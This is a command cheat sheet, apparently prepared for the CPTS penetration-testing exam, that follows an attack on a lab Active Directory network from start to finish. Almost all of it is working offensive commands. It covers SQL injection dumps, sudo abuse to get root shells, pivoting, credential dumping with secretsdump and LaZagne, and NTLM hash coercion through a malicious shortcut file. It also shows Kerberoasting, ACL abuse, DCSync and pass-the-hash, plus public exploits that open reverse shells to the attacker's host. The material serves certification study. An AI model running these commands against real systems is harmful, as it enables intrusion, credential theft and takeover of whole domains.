CPTS Exam Most Used Commands

[!abstract] > ABOUT_THIS_NOTE Command reference distilled from the Red Block CPTS writeup (trilocor.local), ordered in the sequence you’ll actually use them across a segmented exam network. Pairs with CPTS-Exam-Attack-Flow. Set these first:

export IP=              # current target
export DC=172.16.139.3  # domain controller
export DOMAIN=ad.trilocor.local
export LHOST=10.10.14.x # or your pivot IP for internal callbacks

// 1 · EXTERNAL RECON

[!terminal]+ DNS + vhosts

dig axfr trilocor.local @$IP                 # zone transfer (maps subdomains)
dig +noall +answer @$IP -x $IP               # reverse -> domain
wfuzz -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/services-names.txt --hl <baseline>
ffuf -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
echo "$IP trilocor.local blog.trilocor.local dev.trilocor.local selfservicestg.trilocor.local" | sudo tee -a /etc/hosts

// 2 · WEB EXPLOITATION

[!terminal]+ SQL injection (mark param with * in the saved request)

sqlmap -r email_post.req --batch --risk=3 --level=5 --threads 10 --dbs --dump
sqlmap -r req.txt --batch -D status -T employees --dump
# crack md5: hashcat -m 0 hashes rockyou.txt   (or crackstation.net)

// 3 · LINUX PRIVESC (foothold host)

[!terminal]+

./linpeas.sh
# stable shell for interactive tools (ftp/ssh/sudo/editors)
python3 -c 'import pty; pty.spawn("/bin/bash")'    # Ctrl+Z; stty raw -echo; fg; export TERM=xterm
# FTP on a non-standard port, anonymous + path traversal
ftp 127.0.0.1 2121                                 # ls ../../../../home/<user> ; get .ssh/id_rsa
chmod 600 id_rsa && ssh -i id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@localhost
sudo -l                                            # look for NOPASSWD binaries -> GTFOBins
sudo csvtool call '/bin/sh;false' /etc/passwd      # example GTFOBins root shell
# PERSISTENCE
cat /root/.ssh/id_rsa                               # save it off-box

// 4 · PIVOTING (Ligolo-ng)

[!terminal]+

# Kali
sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
# target
./agent -connect $LHOST:11601 -ignore-cert
# Kali: (in proxy) session -> start ; then route the subnet
sudo ip route add 172.16.139.0/24 dev ligolo
# DOUBLE PIVOT
sudo ip tuntap add user kali mode tun ligolo-double && sudo ip link set ligolo-double up
sudo ip route add 172.16.210.0/24 dev ligolo-double
# host discovery
for ip in $(seq 1 254); do ping -c1 -W1 172.16.139.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done

Alternatives: ssh -D 1080 + proxychains, chisel reverse SOCKS, socat.

// 5 · LOOT / CREDS FROM HOSTS

[!terminal]+

showmount -e 172.16.139.35                         # NFS exports
sudo mount -t nfs 172.16.139.35:/SRV01 SRV01
grep -ri "password\|jdbc\|secret\|apikey" SRV01/    # hardcoded creds in setup/deploy scripts
secretsdump.py -sam SAM -system SYSTEM LOCAL        # local hashes from registry hives
.\LaZagne.exe all                                   # cleartext creds (browsers, LSA, apps)

// 6 · NTLMv2 COERCION (writable share)

[!terminal]+ malicious .lnk + Inveigh

$lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("C:\Users\me\link.lnk")
$lnk.TargetPath = "\\SRV01\@x.png"; $lnk.IconLocation = "\\SRV01\@x.png"; $lnk.Save()
Import-Module .\Inveigh.ps1            # listener; drop link.lnk into the writable share on the DC

hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt

// 7 · AD ENUMERATION

[!terminal]+

echo 'Pass!' > u.pass ; nxc smb $DC -u user -p u.pass                 # validate
nxc smb $DC -u user -p pass --shares --users --spider 'Department Shares' --regex .
ldapsearch -x -H ldap://$DC -D "user@$DOMAIN" -w "pass" -b "DC=ad,DC=trilocor,DC=local"
bloodhound-python -u user -p pass -d $DOMAIN -ns $DC -c all --zip     # or SharpHound.exe -c all
# PowerView ACL check for a specific user
$sid = Convert-NameToSid divanov ; Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

// 8 · AD ACL ABUSE (bloodyAD)

[!terminal]+

# ForceChangePassword / AllExtendedRights -> reset
bloodyAD --host $DC -d $DOMAIN -u me -p pw set password target NewP@ss123
# GenericWrite over group -> add self
bloodyAD -d $DOMAIN --host $DC -u me -p pw add groupMember 'GROUP NAME' me
# GenericWrite over user -> set SPN (for kerberoast)
bloodyAD --host $DC -d $DOMAIN -u me -p pw set object target servicePrincipalName -v 'any/SPN'
# what can this account write?
bloodyAD --host $DC -d $DOMAIN -u me -p pw get writable --detail

// 9 · KERBEROASTING

[!terminal]+

sudo ntpdate $DC                                   # ALWAYS first (clock skew)
python3 targetedKerberoast.py -v -d $DOMAIN -u me -p pw --dc-ip $DC --request-user target
impacket-GetUserSPNs -request -dc-ip $DC "$DOMAIN/me:pw" -outputfile kerb.hash
hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt

// 10 · CRACKING VAULTS / OFFICE / BACKUPS

[!terminal]+ *2john extractors

axcrypt2john  backup.axx      > backup.hash   && john backup.hash  --wordlist=rockyou.txt   # AxCrypt
office2john   "Creds.one"     > onenote.hash  && john onenote.hash --wordlist=rockyou.txt   # OneNote / Office
ansible2john  vault.yml       > vault.hash    && john vault.hash   -w=rockyou.txt           # Ansible Vault
ssh2john      id_rsa          > key.hash      && john key.hash     --wordlist=rockyou.txt   # encrypted SSH key
keepass2john  db.kdbx         > kp.hash       && hashcat -m 13400 kp.hash rockyou.txt       # KeePass
# decrypt an ansible vault once cracked
cat vault.yml | ansible-vault decrypt

// 11 · DCSYNC → DOMAIN ADMIN

[!terminal]+

# add self to a group with DCSync rights (e.g. Exchange Trusted Subsystem via Account Operators)
bloodyAD -d $DOMAIN --host $DC -u svc_x -p 'pw' add groupMember 'EXCHANGE TRUSTED SUBSYSTEM' svc_x
impacket-secretsdump "$DOMAIN/svc_x:pw@$DC" | tee dcsync.txt
nxc winrm $DC -u administrator -H <admin_NT>
xfreerdp /v:$DC /u:administrator /pth:<admin_NT> /cert:ignore /dynamic-resolution
nxc smb $DC -u administrator -H <admin_NT> -M rdp -o ACTION=enable            # turn on RDP

// 12 · SHELLS / PtH / RDP

[!terminal]+

evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NThash>                # pass-the-hash
evil-winrm -i $IP -u 'svc_gmsa$' -H <gmsa_NT>
xfreerdp /u:'user' /p:'pass' /v:$IP /cert:ignore /dynamic-resolution
impacket-secretsdump "$DOMAIN/user@$IP" -hashes :<NT>

// 13 · FOREST TRUST + gMSA

[!terminal]+

Get-DomainTrust                                      # from a shell on the first DA
echo "172.16.210.5 mgmt.trilocorvendor.local DC02.mgmt.trilocorvendor.local" | sudo tee -a /etc/hosts
bloodhound-python -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -ns 172.16.210.3 -c all --zip
python3 gMSADumper.py -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -l 172.16.210.5   # ReadGMSAPassword

// 14 · WINDOWS LOCAL PRIVESC (services)

[!terminal]+

upload winPEASx64.exe ; .\winPEASx64.exe            # find weak service perms
sc.exe qc VMTools                                    # inspect a service
sc.exe config VMTools binPath= "cmd /c net localgroup Administrators svc_x$ /add"
sc.exe stop VMTools ; sc.exe start VMTools
net localgroup administrators                         # verify

Also: Remote Mouse CVE-2021-35448 (LPE), net localgroup Administrators <user> /add + re-login + PsExec for SYSTEM.

// 15 · DEV APPS (SonarQube / Anuko / Webmin)

[!terminal]+ SonarQube 7.8 (9000) → SYSTEM

# creds from sonar.properties.bak, then plugin-upload RCE
git clone https://github.com/braindead-sec/pwnrqube
# edit totally-benign-plugin/src/main/java/benign.java -> PowerShell revshell to pivot:4444
cd totally-benign-plugin && mvn clean package
curl --user admin:<pw> -X POST -F file=@target/totally-benign-plugin-1.0.jar http://$IP:9000/api/updatecenter/upload
curl --user admin:<pw> -X POST http://$IP:9000/api/system/restart

[!terminal]+ Anuko Time Tracker → creds · Webmin 1.996 (10000) → root

# Anuko: admin (LaZagne DefaultPassword) -> create user -> enable Puncher plugin -> CVE-2022-24707
python3 Anuko-SQL-Exploit.py --username tester --password <pw> --host http://$IP \
  --sqli "SELECT GROUP_CONCAT(login,password) FROM tt_users"
# Webmin CVE-2022-30708 -> root revshell
git clone https://github.com/esp0xdeadbeef/rce_webmin && cd rce_webmin
python3 exploit.py --url http://$IP:10000 -pw <pw> -un svc_webmin -rh $LHOST -rp 4444

// QUICK HASHCAT MODES

// REFERENCES

[!info]+ Source: CPTS Writeup by Red Block (trilocor.local). Companion: CPTS-Exam-Attack-Flow · Attack-Flow-Guide · Most-Used-Commands.

#Command-Reference #Cheatsheet #CPTS-Prep #CPTS-Exam #AD #Pivoting #HTB